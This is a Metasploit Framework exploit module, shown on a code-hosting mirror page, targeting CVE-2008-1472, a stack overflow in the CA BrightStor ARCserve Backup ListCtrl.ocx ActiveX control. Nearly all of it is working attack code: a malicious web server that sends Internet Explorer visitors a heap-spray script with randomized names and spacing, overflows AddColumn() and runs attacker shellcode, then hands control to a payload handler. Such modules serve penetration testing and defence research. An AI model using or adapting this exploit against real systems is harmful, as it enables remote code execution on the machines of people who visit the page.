Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
19513 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
16
'Description' => %q{
17
The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
18
buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
19
could overflow a buffer and execute arbitrary code on the system.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
23
'References' => [
24
[ 'CVE', '2008-1472' ],
25
[ 'OSVDB', '43214' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'process',
29
},
30
'Payload' => {
31
'Space' => 1024,
32
'BadChars' => "\x00",
33
},
34
'Platform' => 'win',
35
'Targets' => [
36
[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
37
],
38
'DisclosureDate' => '2008-03-16',
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Reliability' => UNKNOWN_RELIABILITY,
42
'Stability' => UNKNOWN_STABILITY,
43
'SideEffects' => UNKNOWN_SIDE_EFFECTS
44
}
45
)
46
)
47
end
48
49
def autofilter
50
false
51
end
52
53
def check_dependencies
54
use_zlib
55
end
56
57
def on_request_uri(cli, request)
58
# Re-generate the payload.
59
return if ((p = regenerate_payload(cli)) == nil)
60
61
# Encode the shellcode.
62
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
63
64
# Create some nops.
65
nops = Rex::Text.to_unescape(make_nops(4))
66
67
# Set the return.
68
ret = Rex::Text.to_unescape([target.ret].pack('V'))
69
70
# Randomize the javascript variable names.
71
vname = rand_text_alpha(rand(30) + 1)
72
var_i = rand_text_alpha(rand(5) + 1)
73
rand1 = rand_text_alpha(rand(100) + 1)
74
rand2 = rand_text_alpha(rand(100) + 1)
75
rand3 = rand_text_alpha(rand(100) + 1)
76
rand4 = rand_text_alpha(rand(100) + 1)
77
rand5 = rand_text_alpha(rand(100) + 1)
78
rand6 = rand_text_alpha(rand(100) + 1)
79
rand7 = rand_text_alpha(rand(100) + 1)
80
81
content = %Q|
82
<html>
83
<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
84
<script>
85
86
var #{rand1} = unescape("#{shellcode}");
87
var #{rand2} = 0x0A0A0A0A;
88
var #{rand3} = 0x400000;
89
var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
90
var #{rand5} = unescape("#{ret}");
91
var #{rand6} = 128;
92
93
while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
94
#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
95
#{rand7} = new Array();
96
for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
97
while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
98
#{rand5} = #{rand5}.substring(0, #{rand6});
99
100
#{vname}.AddColumn(#{rand5}, 1);
101
</script>
102
</html>
103
|
104
105
content = Rex::Text.randomize_space(content)
106
107
print_status("Sending #{self.name}")
108
109
# Transmit the response to the client
110
send_response_html(cli, content)
111
112
# Handle the payload
113
handler(cli)
114
end
115
end
116
117